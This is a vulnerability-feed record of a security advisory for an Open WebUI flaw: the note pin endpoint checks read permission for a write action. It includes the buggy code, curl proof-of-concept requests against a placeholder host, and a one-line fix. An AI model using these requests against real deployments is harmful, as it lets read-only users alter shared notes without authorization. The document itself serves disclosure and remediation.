{"id":"CVE-2026-45316","aliases":["GHSA-jx2x-j75f-xq3j","PYSEC-2026-2745"],"title":"Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)","summary":"Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)","severity":"low","cvss":3.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N","vendor":"open-webui","product":"open-webui","ecosystem":"pip","affected":["open-webui < 0.9.3"],"patched":["open-webui 0.9.3"],"published":"2026-05-14","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-jx2x-j75f-xq3j","references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-jx2x-j75f-xq3j"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45316"},{"url":"https://github.com/open-webui/open-webui"},{"url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.3"}],"tags":["osv","pip","exploit-available"],"epss":0.00218,"epssPercentile":0.12551,"ingestedAt":"2026-07-13T18:58:00.134Z","exploits":{"github":1,"githubRepos":["https://github.com/arian-gogani/enforcement-coverage"],"checkedAt":"2026-09-24T07:53:04.081Z"},"exploitAvailable":true,"slug":"CVE-2026-45316","body":"## Overview\n\n### Summary\n\nThe `POST /api/v1/notes/{id}/pin` endpoint performs a write operation (toggling the `is_pinned` field) but only checks for `read` permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require `write` permission. All other write endpoints (update, delete, access/update) correctly check for `write` permission.\n\n### Details\n\n**Affected code: `backend/open_webui/routers/notes.py` lines 412-444**\n\n```python\n@router.post('/{id}/pin', response_model=Optional[NoteModel])\nasync def pin_note_by_id(...):\n    # ...\n    if user.role != 'admin' and (\n        user.id != note.user_id\n        and not await AccessGrants.has_access(\n            user_id=user.id,\n            resource_type='note',\n            resource_id=note.id,\n            permission='read',        # BUG: should be 'write'\n            db=db,\n        )\n    ):\n        raise HTTPException(...)\n    \n    note = await Notes.toggle_note_pinned_by_id(id, db=db)  # write operation\n```\n\n**Compare with update endpoint (correct, line 318-327):**\n```python\nasync def update_note_by_id(...):\n    # ...\n    and not await AccessGrants.has_access(\n        permission='write',        # correctly checks 'write'\n    )\n```\n\n### PoC\n\n**Environment:** Open WebUI v0.9.2, default configuration with notes sharing enabled.\n\n**Setup:**\n1. UserA creates a note\n2. UserA shares note with UserB with `read` permission via `POST /api/v1/notes/{id}/access/update` with `{\"access_grants\":[{\"principal_type\":\"user\",\"principal_id\":\"USERB_ID\",\"permission\":\"read\"}]}`\n\n**Test:**\n```bash\n# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false\ncurl -s http://TARGET/api/v1/notes/$NOTE_ID \\\n  -H \"Authorization: Bearer $TOKEN_B\"\n# Result: 200 OK, \"write_access\": false\n\n# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)\ncurl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \\\n  -H \"Authorization: Bearer $TOKEN_B\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"title\":\"HACKED\",\"content\":\"pwned\",\"data\":{\"type\":\"note\"}}'\n# Result: 403 Forbidden\n\n# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)\ncurl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \\\n  -H \"Authorization: Bearer $TOKEN_B\"\n# Result: 200 OK, \"is_pinned\": true\n\n# Step 4: UserB can toggle pin repeatedly\ncurl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \\\n  -H \"Authorization: Bearer $TOKEN_B\"\n# Result: 200 OK, \"is_pinned\": false (toggled back)\n```\n\n**E2E Verified Result:**\n- Step 1: UserB reads note (READ) -> 200 OK ✓\n- Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked)\n- Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG)\n- Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)\n\n### Impact\n\n- A user with only `read` access to a shared note can toggle its `is_pinned` status\n- This modifies the note's state without write authorization\n- The pin status change is visible to the note owner and all other users with access\n- Privilege escalation from read to write on the pin operation\n\n**Limitations:** Only affects the `is_pinned` boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.\n\n### Fix\n\nOne-line fix — change `permission='read'` to `permission='write'` in `pin_note_by_id`:\n\n```python\n# backend/open_webui/routers/notes.py, line 437\n- permission='read',\n+ permission='write',\n```\n\nThis makes the pin endpoint consistent with update and delete endpoints.\n\n## Affected packages\n\n- `open-webui < 0.9.3`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `open-webui 0.9.3`","depth":"twilight","depthScore":31,"depthScoreParts":{"impact":19.3,"likelihood":0,"exploitation":12,"ransomware":0},"changes":[{"seq":5235,"id":"CVE-2026-45316","ts":1788887255364,"field":"exploit_available","old":"false","new":"true"},{"seq":4118,"id":"CVE-2026-45316","ts":1788886371302,"field":"exploit_available","old":"true","new":"false"},{"seq":2891,"id":"CVE-2026-45316","ts":1788883037617,"field":"exploit_available","old":"false","new":"true"},{"seq":1920,"id":"CVE-2026-45316","ts":1788882440669,"field":"exploit_available","old":"true","new":"false"},{"seq":1009,"id":"CVE-2026-45316","ts":1788881875513,"field":"exploit_available","old":"false","new":"true"}]}